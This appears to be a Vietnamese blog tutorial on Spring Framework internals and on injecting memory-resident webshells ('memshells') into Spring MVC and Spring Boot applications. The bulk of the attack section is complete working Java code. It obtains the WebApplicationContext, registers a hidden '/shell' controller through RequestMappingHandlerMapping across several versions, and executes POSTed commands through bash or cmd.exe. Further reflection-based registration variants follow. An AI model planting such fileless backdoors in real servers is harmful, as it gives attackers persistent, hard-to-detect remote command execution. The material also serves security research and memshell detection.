Memshell in Spring
Tiếp theo là note của mình về memshell trong spring, bài này chỉ dừng lại ở cách triển khai còn exploit trong tình huống web có lỗ hổng thì ở các bài sau
0. Tạo project Spring với IntelliJ
Spring boot
Môi trường tạo demo là: JDK 17
Đầu tiên tạo project với Spring Initializer

Tạo HelloWorldController
package org.example.springdemomemshell.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class HelloWorldController {
@ResponseBody
@RequestMapping("hello")
public String Hello(){
return "Hello World!";
}
}
Cuối cùng chỉ cần bấm Run thì web tự động deploy không cần config gì thêm. Kết quả

Mặc định SpringBoot chạy port 8080, nếu muốn thay đổi thì ta thêm config vào file application.properties
spring.application.name=SpringDemoMemshell
server.port=8989
Còn nếu muốn thay đổi version SpringBoot thì ta chỉ cần thay đổi version parent trong file pom.xml

Spring MVC
Môi trường tạo demo là
Đối với SpringMVC 6.x: JDK 17 và Tomcat 10.x
Đối với SpringMVC 4.x và 5.x: JDK17 và Tomcat 9.x
Đầu tiên ta tạo maven project trong intelij với archetype là webapp

Sau đó ta thêm dependency spring-web và spring-webmvc vào file pom.xml
...
<properties>
<org.springframework-version>4.2.0.RELEASE</org.springframework-version>
<!-- Thay đổi version của SpringMVC tại đây -->
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${org.springframework-version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>${org.springframework-version}</version>
</dependency>version>
</dependency>
<!-- Tag libs support for view layer -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
<scope>runtime</scope>
</dependency>
...
Tại web.xml thêm config khai báo DispatcherServlet
và mapping DispatcherServlet
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
Tiếp theo tạo file springmvc.xml trong thư mục WEB-INF để config spring (lưu ý tên file phải giống với tên file khai báo trong phần param-value tại web.xml)
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
// Khai báo package controller
<context:component-scan base-package="com.controller"/>
// Khai báo sử dụng annotation
<mvc:annotation-driven />
// Khai báo ViewResolver
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/views/"/>
<property name="suffix" value=".jsp"/>
</bean>
</beans>
Tạo HelloController để test như sau
package com.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class HelloController {
@ResponseBody
@RequestMapping("/hello")
public String hello(){
System.out.println("hello");
return "Hello";
}
}
Tổng quan file structure của ta sẽ như sau

Config Tomcat


Start web và truy cập http://localhost:9999/hello

1. Kiến trúc SpringMVC
Cấu trúc của SpringMVC có phần tinh gọn hơn so với Tomcat Servlet

Trong SpringMVC ta sẽ có một thằng được gọi là Dispatcher Servlet sẽ đóng vai trò là Front Controller (theo docs của SpringMVC). Thằng này sẽ tiếp nhận request từ client, sau đó gửi qua Handler Mapping. Handler Mapping sẽ parse URI để nói cho Dispatcher biết Controller nào sẽ xử lý request này. Tiếp tục Dispatcher gửi cho Controller để xử lý. Controller khi xử lý xong sẽ trả về ModelAndView (chính là đối tượng View). Dispatcher sẽ gửi đến ViewResolver để lookup view muốn trả về. Cuối cùng Dispatcher truy xuất lấy view và trả về cho client thông qua response.
Ta có thể thấy mọi request và response đều phải đi qua Dispatcher Servlet
trong mô hình của SpringMVC
2. Một số thành phần trong Spring Framework cần quan tâm
Khái niệm bean
Bean là core concept và xương sống trong ứng dụng sử dụng Spring Framework. Có một vài điều ta cần quan tâm về beans
Về bản chất bean cũng chỉ là các object
Các bean được quản lý bởi IoC container. IoC container chịu trách nhiệm instantiating, configuring, assembling và managing bean
Spring application chủ yếu được tạo thành bởi các bean này
IoC
IoC là một giải pháp cho phép quản lý số lượng lớn các components (classes) một cách dễ dàng và hiêu quả bằng cơ chế dependency injection. IoC container đơn giản là "thùng chứa" các bean có nhiệm vụ khởi tạo các components (các bean), lắp ráp các components theo dependency giữa chứng, và phá hủy các components theo thứ tự dependency. Nói đơn giản là quản lý life cycle của các components (các bean)
ApplicationContext
Để đại diện cho IoC Container trong Spring có Interface BeanFactory
giúp ta làm việc đó.

Theo như sơ đồ trên thì ApplicationContext
là kế thừa lại BeanFactory
cùng với một số Interface khác, cung cấp cho ta nhiều tính năng mạnh mẽ hơn để tương tác với IoC Container.
Dưới ApplicationContext
có 20 implementations khác

Tuy nhiên trong mô hình SpringMVC sẽ dùng implementations WebApplicationContext
.
WebApplicationContext sẽ cung cấp cho ta nhiều tính năng hơn (theo docs nói là vậy) để thao tác với các bean trong context của ứng dụng spring
Vậy thì theo lý thuyết nếu tìm được cách call WebApplicationContext
thì ta có thể tùy ý setup các components khác như controller để triển khai memshell
ContextLoaderListener và DispatcherServlet / Root Context và Child Context trong Spring MVC
Trước khi đi vào cách triển khai ta cần phải biết 1 chút về cơ chế load context trong SpringMVC.
Trong spring sẽ có 2 loại context là Root Context và Child Context. Đúng như tên gọi thì Root Context sẽ là context global và chỉ có 1. Trong khi đó thì ta có thể có nhiều Child Context, scope của Child Context cũng nhỏ hơn. Có 2 đặc điểm quan trọng ta cần quan tâm là:
Child Context có thể truy xuất các tài nguyên (components/bean) trong Root Context, nhưng Root Context thì không thể làm ngược lại
Sau khi tất các các Context được khởi tạo xong thì sẽ được add vào ServletContext như attribute
Tiếp đến là object giữ vai trò load context.
Trong Spring thì Root context sẽ được load bởi ContextLoaderListener
, có nhiều cách để ta có thể khao báo ContextLoaderListener (tham khảo). Ví dụ dễ dùng nhất là khai báo qua xml như sau:
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<context-param>
<param-name>contextClass</param-name>
<param-value>
org.springframework.web.context.support.AnnotationConfigWebApplicationContext
</param-value>
</context-param>
Tuy nhiên ContextLoaderListener là không bắt buộc, không có thì web vẫn có thể hoạt động như thường
Còn về phần Child Context sẽ được load bởi DispatcherServlet, child context khi load bởi DispatcherServlet sẽ dùng implementations WebApplicationContext
của ApplicationContext
. Khác với ContextLoaderListener thì DispatcherServlet ta bắt buộc phải khai báo vì nó là core trong kiến trúc của Spring MVC. Ví dụ khai báo DispatcherServlet
như sau (xem chi tiết phần 0)
....
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
...
Như đề cập ở trên là ta có thể có nhiều Child Context trong một web app. Muốn khai báo nhiều Child Context thì ta đơn giản khai báo nhiều DispatcherServlet, mỗi path tại phần mapping sẽ map với một DispatcherServlet khác nhau. Trong trường hợp ví dụ của ta thì chỉ có một DispatcherServlet nên ta map /
với DispatcherServlet đó luôn.
Context trong Spring Boot
Đối với Spring Boot thì không có context hierarchy như Spring MVC mà thay vào đó ứng dụng chỉ có 1 ApplicationContext duy nhất được khởi tạo. Khi chạy spring-boot-starter-web
với config mặc định thì AnnotationConfigServletWebServerApplicationContext
sẽ được load. Ta sẽ dùng context này để load mem. (tham khảo)
3. Triển khai memshell controller
Ý tưởng
Sau khi nắm cơ bản các thành phần trong Spring ta sẽ có ý tưởng sau để triển khai memshell
Vì
ApplicationContext
cho phép ta có thể tùy ý setup các components khác nên ta chỉ cần tìm cách để gọi đến đượcKhi có được
ApplicationContext
ta sẽ setup components độc hại (cụ thể là controller) để RCE
Get ApplicationContext
Để lấy được ApplicationContext thì ta cũng có rất nhiều cách.
Đối với Spring MVC < 4.2.1
Ta có thể lấy trực tiếp thông qua method RequestContextUtils.getWebApplicationContext

Vì method cần tham số là ServletRequest nên ta cần call qua ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
Đối với SpringMVC version sau 4.2.1 và tất cả bản SpringBoot ta sẽ dùng findWebApplicationContext

WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
Ngoài ra ta cũng có thể dùng cách sau để get WebApplicationContext work trên tất cả phiên bản
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
Demo trong SpringMVC

Ta có thể thấy context ta get được là WebApplicationContext
được implement thành XmlWebApplicationContext
do ta khai báo dispatcher trong XML.
Demo trong Spring boot

Context ta get được là AnnotationConfigServletWebServerApplicationContext
Dynamic registration malicious controller
Như đã đề cập ở phần kiến trúc thì khi nhận request việc đầu tiên mà Dispatcher Servlet làm là gửi qua cho Handler Mapping để parse request tìm Controller phù hợp để xử lý. Một trong những implement của interface HandlerMapping chính là RequestMappingHandlerMapping sẽ đảm nhận vai trò chính trong việc map URI với Controller
Do đó ta sẽ lợi dụng RequestMappingHandlerMapping
để dynamic registration malicious controller. Code để get RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
RequestMappingHandlerMapping
cung cấp cho ta method registerMapping
cho phép ta đăng ký một path nào đó với một object handler hay nói cách khác chính là cho phép dynamic registration controller

Triển khai memshell với SpringBoot < 2.6 và 4.2.1 <= SpringMVC < 6.0.0
Để khai báo RequestMappingInfo
trong method registerMapping ta sẽ khai báo theo như Constructor của nó

Các attribute khác thì có thể là null nhưng ta cần khai báo ít nhất 2 attribute là PatternsRequestCondition
và RequestMethodsRequestCondition
Trong đó thì PatternsRequestCondition
sẽ là phần ta khai báo path muốn map với malicious controller. Code ví dụ
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
Sau khi có được RequestMappingInfo ta tiến hành add malicious controller vào
r.registerMapping(info, new Shell(), method);
Với method ở đây chính là method ta muốn thực thi khi gọi đến Controller. Full code inject sẽ như sau:
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = Shell.class.getDeclaredMethod("shell");
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
Nội dung Shell class
package com.controller;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Shell {
public Shell(){}
public void shell() throws IOException {
try {
HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();
String arg0 = request.getParameter("cmd");
if (arg0 != null && request.getMethod().equals("POST")) {
ProcessBuilder p;
String o = "";
PrintWriter w = response.getWriter();
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
w.write(o);
w.flush();
w.close();
} else {
response.sendError(404);
}
} catch (Exception e) {}
}
}
Demo trong SpringMVC
Version demo

Code inject
package com.controller;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;
public class SpringMVCControllerMem4x {
public static String load() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = Shell.class.getDeclaredMethod("shell");
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Shell(), method);
} catch (Exception e) {
System.out.println(e.getMessage());
}
return "loaded!";
}
}
Thêm path để load vào controller
@Controller
public class HelloController {
@ResponseBody
@RequestMapping("/hello")
public String hello() throws NoSuchMethodException {
return "Hello";
}
@ResponseBody
@RequestMapping("/load")
public String load() throws NoSuchMethodException {
return SpringMVCControllerMem4x.load();
}
}
Load memshell

RCE

Demo trong SpringBoot
Version demo

Code load cũng tương tự như trên
Kết quả


Triển khai memshell với SpringBoot > 2.6 và SpringMVC > 6.0.0
Đối với các phiên bản mới từ SpringMVC 6.0.0 thì việc khai báo RequestMappingInfo
qua constructor đã deprecated. Cộng thêm ở các phiên bản cao thì PatternsRequestCondition
chạy bị lỗi (tham khảo) nên ta phải dùng cách khác
Tại RequestMappingHandlerMapping
có method getMappingForMethod
cho phép ta có thể get được RequestMappingInfo

Method này sẽ lấy ra RequestMappingInfo dựa vào handlerType và method. Để RequestMappingInfo lấy ra đúng giá trị thì ta phải thêm anotation @RequestMapping
cho method. Nếu không có sẽ return null.
Ví dụ ta có một class và method sau
public class test {
public test () {}
public void dosomething() {
// ....
}
}
Nếu ta gọi getMappingForMethod
với method dosomething
và class test
thì kết quả trả về là null.
Khi ta thêm anotation cho method
public class test {
public test () {}
@RequestMapping("/this_is_path")
public void dosomething() {
// ....
}
}
Nếu ta gọi getMappingForMethod
với method dosomething
và class test
thì kết quả trả về là RequestMappingInfo
chứa thông tin về path /this_is_path
.
Cuối cùng vì method này là method protected nên ta dùng reflection để gọi đến.
Ta sẽ có code inject như sau
// Cre: https://devme4f.github.io/posts/2023/quick-note-spring-memshell/#code-injection-load-memshell
package com.controller;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import java.io.PrintWriter;
import java.lang.reflect.Method;
public class SpringControllerMem6x {
public static String load() {
try {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
Method method = SpringControllerMem6x.class.getMethod("run");
Method getMappingForMethod = mappingHandler.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
getMappingForMethod.setAccessible(true);
RequestMappingInfo mInfo = (RequestMappingInfo) getMappingForMethod.invoke(mappingHandler, method, SpringControllerMem6x.class);
SpringControllerMem6x obj = new SpringControllerMem6x();
mappingHandler.registerMapping(mInfo, obj, method);
} catch (Exception e) {
System.out.println(e.getMessage());
}
return "loaded!";
}
public SpringControllerMem6x() {}
@RequestMapping("/shell")
public void run() {
try {
HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();
String arg0 = request.getParameter("cmd");
if (arg0 != null && request.getMethod().equals("POST")) {
ProcessBuilder p;
String o = "";
PrintWriter w = response.getWriter();
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
w.write(o);
w.flush();
w.close();
} else {
response.sendError(404);
}
} catch (Exception e) {}
}
}
Demo với SpringMVC
Version demo

Code load tương tự trên. Thêm path load memshell
@ResponseBody
@RequestMapping("hello")
public String Hello(){
return "Hello World!";
}
@ResponseBody
@RequestMapping("load")
public String load(){
return SpringBootControllerMem4x.load();
}
Kết quả


Demo với SpringBoot
Version demo

Kết quả:


4. Bonus
Ngoài cách dùng registerMapping thì ta còn một số cách khác để reg malicious controller như
registerHandler
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
m1.invoke(dh, "/favicon", "dynamicController");
detectHandlerMethods
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");
Ngoài controller ra thì ta còn một componenect khác trong Spring có thể lợi dụng để triển khai memshell là Interceptor
5. Refer
Last updated